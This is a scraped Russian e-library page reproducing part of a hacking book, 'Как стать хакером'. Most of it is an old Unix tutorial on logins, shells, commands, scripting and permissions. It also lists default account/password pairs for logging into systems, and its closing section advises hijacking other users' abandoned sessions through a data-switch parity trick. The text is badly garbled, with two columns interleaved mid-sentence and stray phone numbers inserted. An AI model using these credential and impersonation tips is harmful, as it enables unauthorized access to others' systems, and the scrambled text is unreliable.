WWW.DISSERS.RU

БЕСПЛАТНАЯ ЭЛЕКТРОННАЯ БИБЛИОТЕКА

   Добро пожаловать!

Pages:     | 1 || 3 | 4 |   ...   | 5 |

«УДК 004.056 Максим Левин ББК 32.973.202 Л36 Как стать хакером Левин М. ...»

-- [ Страница 2 ] --

Уфа: (3472) 52 62 Операционная система программиста 52 62 UNIX, конечно, был изобретен AT&T где то в 60 ых как «опера 37 73 ционная система программиста». Во времена, когда изобрели UNIX, эта цель не была, вероятно, достигнута, зато теперь, похоже, UNIX стала ОС Хабаровск: (4212) программиста. Как уже говорилось, это многозадачная и многопользова 21 81 тельская ОС. К тому же она написана на языке С, во всяком случае, не малая ее часть, что делает ее портативной операционной системой. Мы 33 29 знаем, что МС ДОС соответствует компьютерам IBM и их клонам, вер 38 62 но? Так вот, с UNIX ситуация иная. Он не соответствует никаким ком пьютерам, поскольку был адаптирован ко многим, и существует много Челябинск: (3512) вариантов UNIX (то есть UNIX, измененный продавцом, или нечто по 38 07 добное). Некоторые AT&T компьютеры работают под UNIX, а некото рые под МС ДОС (AT&T 6300). Рабочие станции Sun работают под 60 56 SunOS, это тоже вариант UNIX, а некоторые VAX компьютеры управля 38 07 ются Ultrix, это VAX версия UNIX. Запомните: независимо от того, как называется операционная система (BSD, UNIX, SunOS, Ultrix, Xenix 38 07 и т.д.), они все имеют много общего вроде команд, которые используют ся операционной системой. Некоторые варианты могут иметь особенно сти, которых нет в других, но они в основном схожи в том, что имеют много одинаковых команд и файлов данных. Когда вам кто то станет до казывать, что UNIX используется в определенных типах компьютеров, то это, возможно, и так, но помните, что некоторые компьютеры имеют более одной операционной системы. Например, вам могут сказать, что UNIX соответствует компьютерам VAX так же, как МС ДОС соответ ствует IBM клонам. Это неверно, и мы упоминаем об этом только пото му, что видели много сообщений с подобными сравнениями, которые смущают пользователей, когда они видят VAX, работающий под VMS.

Глава 2.

Идентификация Unix С этого момента мы будем обозначать все варианты UNIX просто как UNIX, так что когда будет говориться что то о UNIX, то, как прави ло, будут подразумеваться все варианты (то есть варианты Unix System V:

Система Unix 79 80 Система Unix user user BSD, SunOS, Ultrix, Xenix и т.д.), если только явно не будет указан кон games games кретный.

install install Теперь пора рассказать, как unix обычно вас приветствует. Снача reboot * ni. ie?a ла, когда вы вызываете UNIX или соединяетесь с машиной, где он рабо demo demo тает, вы обычно видите такую подсказку:

umountfsys umountfsys sync sync Login:

admiu admin Порядок. Это означает, что это, вероятно, Unix, хотя имеются guest guest BBS, способные имитировать login процедуру OS (операционной систе daemou daemon мы) и заставлять некоторых верить в то, что это и есть Unix. (Ха!) Неко Эккаунты root, mountfsys, umountfsys, install и, иногда, sync — это торые Unix'ы представляются или выдают перед Login: сообщение вроде эккаунты корневого уровня. Это означает, что они работают на уровне такого:

системного администратора или глобально. Остальные логины есть все Welcome to SHUnix. Please log in.

го лишь логины «пользовательского уровня», и это означает, что им под властны лишь файлы/процессы, принадлежащие этому конкретному (Добро пожаловать в SHUNIX. Пожалуйста зарегистрируйтесь) пользователю. Логин REBOOT относится к так называемым командным Login:

логинам, он не пропускает вас в ОС, а просто напросто выполняет свя занную с ним программу. Как правило, он делает именно то, что обозна Или что то в этом роде. Unix'ы свободного доступа (например, чает, — перезагружает систему. Возможно, он не стандартен во всех в BBS свободного доступа) сообщат вам, как надо регистрироваться, ес Юниксах, но его можно увидеть в Юниксах UNISYS, а также в системах ли вы — новый пользователь. К сожалению, эта глава не о Unix'ах сво HP/UX (Hewlett Packard Unixes). Пока что эти эккаунты не защищены бодного доступа, но о них мы кратко поговорим позже, например об ад паролями, что на наш взгляд весьма глупо.

ресе UUCP/USENET/BITNET для почты.

Итак. Вы добрались до регистрации (login)! Теперь вам надо ввес Командные логины ти действующий эккаунт (account). Он обычно состоит из 8 или меньше Существуют «командные логины», которые, подобно логину пе символов. После ввода эккаунта вы, скорее всего, увидите приглашение резагрузки (reboot), исполняют команду и отключают вас от системы, не ввести пароль. Приглашения могут иметь различный вид, поскольку ис позволяя пользоваться интерпретатором команд. Наличием таких логи ходные коды для программы регистрации обычно поставляются вместе с нов печально знамениты компьютеры BSD и MIT (Массачусетского тех UNIX или доступны бесплатно. Так вот, можно посоветовать такой про нологического института). Вот список некоторых:

стейший способ регистрации: получите эккаунт или попробуйте ввести rwho — показать, кто в онлайне значения по умолчанию. Эти значения поставляются вместе с операци онной системой в стандартной форме. Вот список некоторых значений finger — то же по умолчанию:

who — то же ACCOUNT ПАРОЛЬ Они весьма полезны, поскольку выдают список эккаунтов под root root — (редко открыт для хакеров) ключенных пользователей и тем самым показывают реально существу sys sys / system / bin ющие эккаунты.

biu sys / bin mountfsys mountfsys Ошибки adm adm Когда вы введете ошибочный эккаунт/пароль или и то, и другое, uucp uucp система выдаст сообщение об ошибке. Обычно это сообщение «login nuucp anon incorrect».

anou anon Система Unix 81 82 Система Unix Когда компьютер выдает такое сообщение, это означает, что вы Глава 4.

ошиблись и ввели или неверный эккаунт, или верный эккаунт, но невер Оболочки ный пароль. По очевидным причинам система не станет вам подсказы вать, какую именно ошибку вы допустили. Кроме того, когда вы реги Оболочка — это исполняемая программа, которая загружается стрируетесь с ошибкой, обновляется файл журнала регистрации, и об и начинает работать в фоновом режиме, когда пользователь входит в си этом узнает сисадмин.

стему. Такой «оболочкой» может быть любая исполняемая программа, Другое сообщение об ошибке — это «Cannot change to home direc указанная в пользовательском файле «passwd». Каждый логин может tory» или «Cannot Change Directory». Это означает отсутствие «home иметь свою уникальную «оболочку». Идем дальше. Оболочка, с которой directory», то есть «корневого» раздела эккаунта, то есть раздела, из кото мы обычно будем работать, — это интерпретатор команд (командный рого вы начинаете работу. В ДОС вы стартуете из А:\ или С:\, или еще процессор). Интерпретатор команд — это нечто, похожее на COM откуда то, а в Юниксе — из /homedirectory. (Примечание: в Юниксе в раз MAND.COM в MS DOS, который обрабатывает команды и пересылает делах используется / (прямой слэш), а не \ (обратный слэш)). Большин их в ядро (операционную систему). Как уже было сказано, оболочкой ство систем отключит вас после такого прокола, но некоторые сообщат, может быть любая программа, но вам нужен именно интерпретатор ко что поместят вас в корневой раздел ['/'].

манд. Вот перечень обычных оболочек, которые вы обнаружите:

Другое сообщение об ошибке «No Shell». Оно означает, что для sh — это «родная» оболочка, базовый «COMMAND.COM» этого конкретного эккаунта не определен «shell», то есть «оболочка».

Unix. Он имеет «скриптовый» язык, как и большинство О ней мы поговорим позднее. Большинство систем отключит вас после командных процессоров систем Unix.

такого сообщения, но некоторые сообщат, что станут использовать csh — это оболочка «С», позволяющая вводить обычную (стандартную) оболочку, выдав «Using the bourne shell» или С подобные команды.

«Using sh».

ksh — это оболочка korn. Просто еще один интерпретатор команд.

Глава 3.

tcsh — это оболочка, используемая в MIT. Позволяет Эккаунты редактировать команды.

Надеюсь, эта глава поможет вам понять пользовательскую струк vsh — визуальная оболочка, работающая через меню.

туру среды Юникс.

Нечто вроде... Windows для DOS.

Так вот, считайте, что Юникс имеет два уровня безопасности: аб rsh — restricted (ограниченная) или remote (удаленная) солютную власть и обычный пользователь. Абсолютной властью облада оболочка.

ют пользователи корневого уровня.

Есть и множество других оболочек, включая «самодельные», то Теперь давайте мыслить числами. Юникс ассоциирует числа есть программы, написанные владельцем Unix или под конкретную вер с именами эккаунтов. Каждый эккаунт имеет номер. Этот номер есть сию Unix, и все они нестандартные. Запомните, оболочка есть всего UID (идентификатор пользователя) эккаунта. У корневого пользователя лишь программа, которой вам придется пользоваться, и когда она конча UID — это 0 (ноль).

ет работу, вас отключают от системы. Хороший пример самодельной оболочки можно найти на Eskimo North, это Unix свободного доступа.

Каждый эккаунт с UID = 0 будет иметь доступ к корню. Юникс Оболочка называется «Esh», и это нечто вроде «одноклавишной BBS», но обрабатывает не имена эккаунтов (логинов), а связанные с ним числа.

это, тем не менее, все равно оболочка.

Например, если ваш UID = 50, и еще чей то UID тоже 50, то вы оба име ете абсолютную власть друг над другом, но только вы, и никто иной.

Некоторые компании используют в качестве пользовательских оболочек текстовые редакторы, базы данных и прочий софт — чтобы предотвратить ошибки неопытных пользователей и облегчить им жизнь.

Система Unix 83 84 Система Unix Кроме того, в качестве оболочки может использоваться BBS.

[] Указывает диапазон. Если ввести b[o,u,i]b, то это означает: bib, Когда вы работаете в интерпретаторе команд, подсказка обычно bub, bob. А если ввести b[a d]b, то это значит: bab, bbb, bcb, bdb. [], ? и * выглядит так:

обычно используются при копировании и удалении файлов или выводе $ списков файлов в разделах.

Когда вы корневой пользователь, подсказка обычно выглядит В Unix учитывается регистр. Это означает, что «Hill» и «hill» — вовсе так:

не одно и то же. Это позволяет хранить много файлов, поскольку «Hill», «hill», «hIll», «hiLl» и так далее могут быть разными файлами. Поэтому, # пользуясь [], вы должны указывать заглавные буквы, если имена нужных Можно задать значение переменной PS1 для хранения подсказки.

вам файлов их содержат. Однако почти все пишется прописными буквами.

Например, если PS1 задана как «HI:», то и ваша подсказка будет выгля деть так же:

Глава 6.

HI:

Команды Глава 5.

Теперь мы перечислим некоторые полезные команды Unix. Все будет выглядеть так, как если бы мы реально вводили команды через ко Спецсимволы мандную строку.

Control D ls Конец файла. Когда вы работаете с почтой или текстовым редак Просмотр раздела. Без аргументов эта команда просто выводит тором, это означает конец сообщения или текстового файла. Если вы на имена файлов в одну или несколько колонок, в зависимости от того, жмете control d, находясь в оболочке, то выйдете из системы.

к какой именно версии программы ls вы имеете доступ.

Пример:

Control J $ ls В некоторых системах срабатывает как клавиша «ввод».

hithere runme @ note.text Иногда означает «отмена».

src $ ?

Через ключ l выводится расширенная информация о файлах:

Это wildcard (маска). Может обозначать букву. Если вы укажете $ ls l в командной строке, скажем, «b?b», то Unix станет искать bob, bib, bub, rwx x x sirhack sirh 10990 runme и все остальные буквы/цифры в интервале a z, 0 9.

и так далее...

* Пояснения:

Может означать любое число символов. Если вы укажете «hi*», то rwx x x — это файловый доступ.

это означает hit, him, hiiii, hiya и что угодно, начинающееся с hi. «H*l» sirhack sirh — это владелец файла и группа, в которой файл может значить hill, hull, hl и что угодно, начинающееся с h и кончающе находится. sirhack = владелец, sirh = пользовательская еся l.

группа, в которой файл находится.

Система Unix 85 86 Система Unix 10990 — размер файла в байтах. Так вот, полное имя раздела вводить не надо. Если вы находитесь в разделе и хотите попасть в (под)раздел, который находится здесь же runme — имя файла.

(скажем, «src»), то можете ввести «cd src» [без «/»]. Вместо ввода «cd /usr/sirhack/src» из sirhack dir вы можете ввести «cd src».

cat Выводит файл на экран. Следует применять к текстовым файлам.

cp Применительно к бинарным файлам используется только чтобы изде Копирует файл.

ваться над пользователями. Пример:

Синтаксис: cp из_файла в_файл $ cat note.txt Это образец текстового файла! $ cp runme runme $ $ ls hithere cd runme note.text Сменить раздел (директорию). Записывается примерно так: cd src /dir/dir1/dir2/dirn. dir1/... — это имена разделов. Допустим, мы хотим пе runme рейти в корневой раздел:

Чтобы скопировать в другой раздел, можно указать полный путь.

$ cd / *порядок, я уже там* $ cp runme /usr/datwiz/runme $ ls bin mv sys Переименование файла.

etc Синтаксис: mv старое_имя новое_имя temp work $ mv runme2 runit usr $ ls кстати, все, что выше, — это разделы hithere $ cd /usr runme $ ls note.text sirhack src datawiz runit prophet Можно переименовывать файлы в других разделах:

src $ mv runit /usr/datwiz/run violence $ ls par hithere phiber runme scythian note.text $ cd /usr/sirhack src $ ls $ ls /usr/datwiz hithere runme runme run note.text src $ Система Unix 87 88 Система Unix я: Мне пора дописывать этот текст.

pwd scy: ok Переход в текущий раздел я: control D [для выхода из программы] $ pwd $ /usr/sirhack $ cd src who [w, who, whodo] $ pwd Выводит список тех, кто в онлайне:

/usr/sirhack/src $ who $ cd..

login term logontime $ pwd scythian + tty001 17: /usr/sirhack phiberO + tty002 15: («..» означает «использовать имя раздела на один уровень выше») sirhack + tty003 17: $ cd../datwiz datawiz — tty004 11: (обозначает cd /usr/datwiz) glitch — tty666 66: $ pwd $ /usr/datwiz Команда who может выдавать разную информацию. «+» означает, $ cd $home что вы можете write на этот терминал, а «–» — что не можете.

(перейти в раздел home) $ pwd /usr/sirhack man Показывает подсказку о команде.

rm Синтаксис: man имя_команды. Это программа помощи. Если хоти Удалить файл.

те узнать, как пользоваться who, то введите:

Синтаксис: rm имя_файла или rm r имя_раздела $ man who $ rm note.text WHO(1) xxx......

$ ls и получите подсказку.

hithere runme stty src Задает характеристики терминала. Вам придется ввести «man stty», $ поскольку каждый stty, похоже, отличен от другого. Пример:

write $ stty parenb Поболтать с другим пользователем. Ну, «написать» другому поль чтобы установить параметры данных N,8,1. Многие Unix по умол зователю.

чанию работают при e,7,1.

Синтаксис: write имя_пользователя sz, rz $ write scythian Послать/получить через zmodem.

scythian has been notified (scythian был уведомлен) Привет Scy! Как дела??

Message from scythian on tty001 at 17:32 rx, sx Привет!

Послать/получить через xmodem.

я: Как жизнь?

scy: Да вроде нормально.

Система Unix 89 90 Система Unix В данном примере использовались:

rb, sb Послать/получить через batch (пакетный) ymodem.

71 — число записанных байтов.

Эти 6 программ могут в Unix быть, а могут и не быть.

a — добавить l — просмотр umodem # — напечатать номер строки Послать/получить через send/receive via umodem.

$ sz filename w — записать ready to send... (готов послать...) l fname — загрузить файл fname $ rz filename please send your file... (пожалуйста, пошлите ваш файл...) s fname — сохранить с именем fname...etc.. (и т.д.) w — записать в текущий файл ed q — выход Текстовый редактор.

mesg Синтаксис: ed имя_файла.

Включает/выключает разрешение «писать» (write) на ваш терми Для создания нового файла просто введите ed имя_файла нал (разрешает чат).

$ ed newtext Формат: «mesg y» (да) или «mesg n» (нет).

* a cc Это строка Это строка 2 Компилятор Си.

[control z] * 1 [чтобы увидеть строку 1] chmod Это строка Смена «режима» файла. Другими словами, смена доступа.

* a [продолжаем добавлять] Это строка 3 Синтаксис: chmod mode filename (chmod режим имя_файла) [control z] $ chmod a+r newtext *0a [добавить после строки 0] Теперь все могу читать newtext:

Это ПЕРВАЯ строка [control z] a — all (все) 1,4l r — read (читать).

Это ПЕРВАЯ строка Это строка chown Это строка Сменить владельца файла.

Это строка * w Синтаксис: chown владелец filename $ chown scythian newtext * q $ $ Система Unix 91 92 Система Unix «адресную» часть команды и обычно расширяет ее до полного пути. Это chgrp может выглядеть так:

Сменить группу файла.

mail phiber@optik Синтаксис: chgrp group file а в компьютере выглядеть так:

$ chgrp root runme $ mail sys1!unisys!pacbell!sbell!sc1!att.com!sirhacksys!

finger optik!phiber Вывести основную информацию об эккаунте.

Но не забивайте себе головы. Мы просто объясняем принципы.

Но если умного мейлера нет, то вы должны знать полный путь к тому, ко Формат: finger имя_пользователя му вы хотите послать почту. Например, я хочу послать сообщение к phiber. И если умного мейлера нет, то я должен писать так:

grep $ mail sys!unisys!pacbell!sbell!sc1!att.com!sirhacksys!

Искать в файле цепочку символов.

optik!phiber Синтаксис: grep цепочка file Привет. Как дела? Ну, мне пора. Длинное вышло письмецо, верно?

(control D) $ grep 1 newtext $ Это строка $ grep ПЕРВАЯ newtext Когда он это сообщение получит, в нем будет строк 20 информа Это ПЕРВАЯ строка ции, это нечто вроде почтовых штемпелей всех систем, через которые $ grep "ПЕРВАЯ line 1" newtext мое сообщение прошло, а строка «от кого» будет выглядеть так:

$ From optik!sirhacksys!att.com!sc1!sbell!pacbell!

unisys!sys!sirhack mail Для посылки локального сообщения достаточно набрать «mail Очень полезная утилита. Вы уже наверняка догадались по имени, username», где username — логин получателя. Затем наберите сообщение для чего она. Их существует несколько, например, ELM, MUSH и MSH, и завершите его control D.

но базовая почтовая программа называется mail. Как ей пользоваться:

Для чтения поступившей вам почты просто введите mail. То есть:

mail username@address $ mail или От: scythian............

Кому: sirhack............

mail username Тема: Well....

или Ну, блин!

?

mail Точки обозначают всякую пропущенную бредятину. Каждая вер или сия программы mail оформляет свои заголовки.

mail addr1!addr2!addr3!user Знак вопроса — это подсказка. После него можно ввести:

«mail username@address» — такая запись используется для посылки d — удалить почты кому то в другой системе. Обычно это другой UNIX, но некото f username — переслать копию к username рые DOS и VAX машины могут принимать Unix Mail. Когда вы исполь зуете «mail user@address», то ваша система должна иметь «умный мейлер» w fname — записать сообщение в файл с именем fname и то, что мы называем «планами системы». «Умный мейлер» распознает Система Unix 93 94 Система Unix s fname — сохранить сообщение с заголовком в файл был запущен process. Это действительно полезно знать только в том слу с именем fname чае, если вы используете слои (спокойно!) или более одного пользовате ля вошли в систему с тем же эккаунтом. Команда ps f выдаст полный q — выйти/обновить mail листинг процессов, поэтому вместо краткого «watch» вы, скорее всего, увидите «watch scythian».

x — выйти, но ничего не менять m username — написать сообщение к username kill r — ответить отправителю Прервать процесс. Очевидно, что команда используется для пре кращения работы программы в памяти. Вы можете прервать только те [enter] — прочесть следующее сообщение процессы, которыми владеете (те, которые вы запустили), если только вы + — перейти на одно сообщение дальше не корневой пользователь или если ваш EUID не такой же, как и у про цесса, который вы хотите прервать. (Про EUID потом). Если вы прерве — вернуться на одно сообщение назад те процесс оболочки, то вылетите из системы. По тому же принципу, ес h — распечатать заголовки сообщений из почтового ли вы вырубите процесс чьей то оболочки, то этот кто то тоже вылетит.

ящика.

Поэтому, если я введу «kill 122», то система меня выплюнет. Однако kill лишь посылает UNIX сигнал с указанием «прервать процесс». И если вы Есть и другие команды. Чтобы увидеть их перечень, обычно вво примените синтаксис «kill pid», то UNIX вырубит процесс тогда, когда дят '?'.

ему захочется, а такое может не случиться никогда. Значит, вы можете Если вы посылаете почту кому то не из своей системы, то ответа сами определять срочность! Попробуйте «kill num pid» (num — число).

придется ждать дольше, потому что тут все будет как с обычным пись Kill 9 pid — это безусловное и почти мгновенное прерывание.

мом — его должен забрать «почтальон». Для передачи почты система мо жет вызвать и использовать UUCP. Обычно UUCP эккаунты никому не $ kill нужны — если только у вас не используется UUCP, способный перехва $ kill тывать почту. $ ps PID TTY NAME 122 001 ksh ps 123 001 watch Процесс. Эта команда позволяет увидеть, что именно вы делаете $ kill 9 в оперативной памяти. При каждом запуске программы ей для учетных [123]: killed целей назначается Идентификатор Процесса (PID), и поэтому ее можно $ kill 9 отследить в памяти, а также закрыть — вами или корневым пользовате garbage лем. Обычно команда ps в перечне процессов первой указывает имя запу NO CARRIER щенной вами оболочки. Допустим, я вошел под логином sirhack, исполь Вы также можете ввести «kill 1 0», чтобы прервать свою оболочку зуя оболочку «csh», и у меня работает «watch scythian». Программа watch и выйти из системы. Это полезно в скриптах.

перейдет в фоновый режим, то есть я смогу делать что то другое, пока она работает:

$ ps Глава 7.

PID TTY NAME Программирование оболочки 122 001 ksh 123 001 watch Программирование оболочки есть по сути создание «скриптово $ го» файла для стандартной оболочки, то есть sh, ksh, csh или их разновид Это сокращенный листинг PS, выводящийся по умолчанию. В ко ностей. Это нечто вроде.bat файла MS DOS, но более сложного и более лонке TTY перечислены «tty» (устройства ввода/вывода), через которые гибкого. Он может оказаться полезным в одном аспекте хакерства.

Система Unix 95 96 Система Unix Сперва займемся переменными. Переменным, очевидно, можно trap присвоить значения — как символьные, там и числовые. Выражение Отслеживает применение кем то команды прерывания (Ctrl c).

number= Формат:

присваивает переменной «number» значение 1.

trap «command;

command;

command;

и т.д.» string=Hi There Пример:

или trap "echo 'Фигушки!! Ты так легко от меня не избавишься' ;

echo string="Hi There" 'Придется тебе это прочитать!'" Оба выражения присваивают переменной string значение «Hi И теперь, если я нажму control c во время работы скрипта, то уви there».

жу на экране вот что:

Однако использование переменной — это совсем другое дело. Ес Фигушки!! Ты так легко от меня не избавишься ли вы хотите использовать переменную, перед ней должен стоять знак Придется тебе это прочитать!

доллара ($). Такие переменные могут быть использованы в программах в качестве аргументов. Когда было написано, что скрипты подобны еxit bat файлам, то имелось в виду именно это. В файл скрипта можно ввес Формат: exit [число]. Обеспечивает выход из оболочки, возвращая ти имя любой программы, и она будет исполнена. Вот простой скрипт:

код, равный «числу».

counter= arg1=" uf" CASE arg2="scythian" Выполнение case подобно выбору из меню. Формат команды или ps $arg1 $arg структуры таков:

echo $counter case переменная in Этот скрипт выполняет трансляцию в «ps uf scythian», а после за 1) command;

вершения работы печатает «1». Еcho выводит на экран как текстовые, так command;

;

и цифровые константы.

2) command;

command;

Другие команды и примеры:

command;

;

*) command;

;

read esac Считывает что либо в переменную.

Каждая часть может иметь любое количество команд. Однако по Формат: read переменная. Здесь знак доллара не нужен! Если я хо сле последней команды должны стоять «;

;

». Возьмем такое меню:

чу узнать чье то имя, то могу написать:

echo "Выберите:" echo "Как ваше имя?" echo "(D)irectory (L)ogoff (S)hell" read hisname read choice echo Hello $hisname case $choice in D) echo "Создаю раздел...";

Как ваше имя?

ls al ;

;

Sir Hackalot L) echo Пока;

Привет Sir Hackalot kill 1 0;

;

Запомните: read может считывать и числовые значения.

S) exit;

;

*) Echo "Ошибка! Это не команда ";

;

esac Система Unix 97 98 Система Unix esac обозначает конец функции case. Он должен стоять после по gt > (больше) следней команды.

lt < (меньше) ge >= (больше или равно) Глава 8.

le <= (меньше или равно) Петли Для строк это:

Итак, петли. Таких функций две: петли for и петли repeat.

= если равно Петли repeat выглядят так:

!= если не равно repeat нечто нечто1 нечто Если выражение верно, то функция возвращает ноль. Смотрите:

Эта функция выполняет повторение секции вашего скрипта для test 3 eq каждого «нечто». Если я напишу:

это означает проверку на верность выражения 3 = 3, и будет выве repeat scythian sirhack prophet ден ноль.

то увижу на своем экране scythian, затем sirhack, затем prophet.

Петля for определяется как Глава 10.

for для переменной в чем то EXPR do (делай) Применяется для числовых функций. Как правило, вы не можете.. просто напечатать:

echo 4 +..

и получить ответ. Вы должны написать:

done (сделано) expr переменная [или число] оператор переменная2 [или число] пример:

Операторы таковы:

for counter in 1 2 do + сложение echo $counter – вычитание done Будут выведены значения 1, затем 2, затем 3. * умножение / деление Глава 9.

^ — степень (в некоторых системах) Использование TEST Пример:

expr 4 + Формат: Test переменная опция переменная var = expr 4 + Опции таковы:

var получит значение 9.

eq = (равно) В некоторых системах expr иногда распечатывает формулу. Хочу пояснить, что 22+12 вовсе не то же самое, что 22 + 12. Если вы введете:

ne <> (не равно) Система Unix 99 100 Система Unix expr 22+ сы публичного доступа делают это за вас, но в системе, где вы работаете, пути могут быть и не указаны.

то увидите 22+ TERM А если введете:

Тип вашего терминала. Юникс имеет библиотеку функций с име expr 22 + нем «CURSES», которая способна добиться максимума от терминала то увидите:

любого типа — при условии, что обнаружит соответствующие esc коды.

Если вы работаете с экранно ориентированными программами, то должны установить какие то параметры дисплея. Типы дисплеев и их esc коды находятся в файле TERMCAP. Но не забивайте себе голову, Глава 11.

просто установите свой дисплей на ansi или vt100, CURSES даст вам знать, если не сможет манипулировать эмуляцией вашего терминала.

Системные переменные Это переменные, используемые оболочкой, и они обычно задают Глава 12.

ся в системном файле.profile.

Компилятор С HOME Тут я буду краток. Почему? Потому что если хотите выучиться ра Расположение вашего home (домашнего) раздела.

ботать в С, то пойдите и купите себе книгу. У меня нет времени писать еще один текстовый файл про С, потому что он будет огромным. Боль PS шинство программ пишется на С. В Юниксе исходные коды программ Определяет, как выглядит подсказка в командной строке. Обычно обозначаются как имяфайла.с. Для запуска исходника на компиляцию как $. В BSD это обычно &.

дайте команду cc имяфайла.c.

Не все программы С станут компилироваться, потому что они мо PATH гут зависеть от других файлов, которых нет на вашем диске, или же это не Путь поиска программ. Когда вы вводите имя программы для ее полные исходники, а лишь модули. Если вы увидите нечто названное запуска, она находится не в оперативной памяти, а на диске, и должна «makefile», то в таких случаях обычно достаточно набрать «make» в ко быть сперва оттуда загружена. В отличие от MS DOS, большинство ко мандной строке, и это нечто скомпилируется или попытается скомпили манд не находится в памяти. Если программа указана в пути поиска, она роваться.

может быть запущена на исполнение независимо от того, в каком разде ле вы находитесь, а если не указана, то вы должны запускать ее из разде Запуская «make» или «сс», умные люди пользуются операндом ра ла, где находится сама программа. Путь — это по сути перечень разделов, боты в фоновом режиме, потому что иногда компиляция длится безумно в котором имена разделов отделяются двоеточиями. Вот типичный путь долго.

поиска:

Пример:

:/bin:/etc:/usr/lbin:$HOME:

$ cc login.c& Когда вы попытаетесь запустить программу на выполнение, Unix [1234] станет ее искать в /bin, /etc, /usr, /lbin и вашем домашнем разделе, и если $ не найдет, выдаст сообщение об ошибке. Поиск по разделам произво (1234 — это номер процесса, под которым он идентифицируется.) дится в том порядке, в каком они перечислены. Поэтому если у вас в до машнем разделе есть программа с именем «sh» и вы введете «sh», то даже если вы сделаете это из домашнего раздела, Unix запустит на исполнение программу из раздела /bin. Поэтому пути следует задавать с умом. Юник Система Unix 101 102 Система Unix Глава 13. Глава 14.

Файловая система Файловые допуски Это инструментальная часть Unix. Если вы не поймете этот раз Ну, наконец то добрались до действительно серьезного. Файло дел, вам никогда не удастся хакать Unix, потому что многие из приколов вые допуски. Что это такое, понять нетрудно, но я все равно объясню по и штучек для «поднятия доступа» завязаны именно на файловую сис дробно.

тему.

Итак, теперь вы должны мыслить категориями «группы пользова Для начала поговорим о структуре разделов. По сути это иерархи телей» и «имена пользователей». Каждый принадлежит к группе. В ко ческая файловая система, то есть она начинается в корневом разделе мандной строке вы можете после подсказки (знака доллара) набрать «id» и далее ветвится, как в MS DOS и, возможно, в AmigaDos. и посмотреть, к какой группе вы принадлежите. Группы используются для организации допуска пользователей к определенным вещам. Если бы Вот нечто вроде дерева разделов ((d) обозначает раздел):

их не было, то лишь один человек контролировал/имел бы допуск к оп ределенным файлам. Запомните также, что Unix, определяя доступ, смо / (корневой раздел) трит на UID пользователя, а не на его имя.

| Идем дальше. В файловых допусках нет ничего сложного. У каж | | дого файла есть владелец (owner). Обычно файлом владеет тот, кто его создал, — скопировав файл или даже просто отредактировав его. Запом bin (d) usr (d) ните, что владелец файла должен быть тем, кто управляет CHOWN, по ^ скольку он единственный, кто может изменить файловые допуски. Кро ме того, есть еще и владелец группы — обычно это группа, в которой вы | | | находились, когда файл был создан. Для смены группы, к которой при sirhack(d) scythian (d) prophet (d) надлежит файл, нужно выполнить команду chgrp.

| Далее. Файлы могут иметь допуски на выполнение, чтение или за пись. Если у вас есть допуск на выполнение, то вы знаете, что вам доста src (d) точно набрать имя программы в командной строке, и она выполнится.

Итак, эта конкретная система содержит следующие разделы:

Если у вас есть допуск на чтение, то вы, очевидно, можете файл читать и делать все, что связано с чтением, — например, копировать или печатать / его. Но если у вас нет доступа на чтение файла, то вы не сможете сделать /bin ничего, что требует его прочтения. То же самое справедливо и для допу ска на запись. Далее, все допуски делятся на три группы. Первая — допу /usr ски владельца. Он может установить себе допуски на чтение и выполне /usr/sirhack ние файла, но не на запись в него. Это не позволит ему удалить такой файл. Вторая — групповые допуски. Возьмем для примера такой раздел:

/usr/sirhack/src $ ls l runme /usr/scythian r xrwxr sirhack root 10990 March 21 runme /usr/prophet Здесь «root» есть имя группы, в которой находится файл.

«sirhack» — владелец файла. И если у группы «root» есть допуски на чте Надеюсь, вы поняли эту главку. Все произрастает из корневого ние, запись и выполнение файла, то именно это они и могут с ним де раздела.

лать. Скажем, на этот файл наткнулся Scythian, а он принадлежит к груп пе пользователей «root». Тогда он может файл читать, записывать в него Система Unix 103 104 Взлом Unix и выполнять. А потом файл обнаружил datawiz, но он из группы «пользо Взлом UNIX ватели». В таком случае групповые допуски на него не распространяют ся, поэтому он не может тронуть этот файл, верно? Вроде того. Есть тре тья категория допусков — для «другой» группы. Это означает, что допуски в «другой» группе распространяются на всех, кроме ее владель ца, и на пользователей из той же группы, к какой принадлежит файл.

Глава 1.

Взгляните на листинг раздела вверху, и вы увидите строчку допусков r x rwxr Помните!

Первые три символа означают допуски для владельца (r x). (r x) В любой момент вас могут засечь операторы, но чаще всего их это переводится как «читать и выполнять разрешается, но записывать в файл мало интересует, либо информация на их машинах меняется так быстро, нельзя». Второй набор из трех символов что они не успевают считывать ее, а если же вы забудете свой пароль или r xRWXr попытаетесь войти в недоступные вам файлы, то система автоматически (тот, что заглавными буквами) есть групповые допуски, и они оз запишет все ваши действия... А некоторые системы вообще регистриру начают «читать, записывать и выполнять разрешается».

ют все ваши телодвижения!

Третий набор r xrwxR Глава 2.

есть допуски для всех прочих. Он означает «читать можно, но Как зарегистрироваться под чужим больше ничего».

именем Листинг раздела будет выглядеть примерно так:

$ ls l Это — ключевой момент взлома системы UNIX. Допустим, вы drwxr xr x sirhack root 342 March 11 src опасаетесь заниматься хакингом под собственным ID. И к тому же жела Раздел помечен буквой «d» в начале строки допусков. Итак, владе ете по возможности использовать при каждом заходе в систему различ лец раздела (sirhack) может читать из раздела, записывать в раздел и вы ные пользовательские ID.

полнять программы из раздела. Корневая группа и все прочие могут Без некоего начального доступа к системе получить имя и пароль лишь читать из раздела и выполнять программы, находящиеся вне его.

невозможно. Что же делать? Не забывайте, что GANDALF data switch от Поэтому если я захочу сделать раздел только выполняемым, то это будет нюдь не совершенен. Один из пяти логинов без проблем пропустит вас выглядеть так:

под чужим именем. Вам остается только изменить контроль по четности $ chmod go r (8N1 на Е71), в то время как GANDALF загружает UNIX. Вам наверняка $ ls удастся зарегистрироваться таким образом. И это произойдет из за того, drwx x x sirhack root 342 March 11 src что некоторые пользователи используют телефонные линии по их пря Если теперь в раздел зайдет кто то, кроме «sirhack», то он сможет мому назначению, не завершив работу на компьютере. Всегда следите за лишь выполнять находящиеся там программы. Если он запустит коман тем, чтобы по завершении работы обязательно выйти из системы.

ду ls, чтобы войти в раздел src, то, оказавшись внутри, увидит сообщение Пару дней назад я лез в систему под чужим именем и, непонятно «cannot read directory» (не могу прочесть раздел). Если в разделе есть до почему, не получил доступа. На моем мониторе высветились слова «LOG ступный для чтения файл, но сам раздел имеет запрет на чтение, то ино OFF», и я просто был выброшен из системы. Подозреваю, что человек, гда все таки бывает возможно этот файл прочесть.

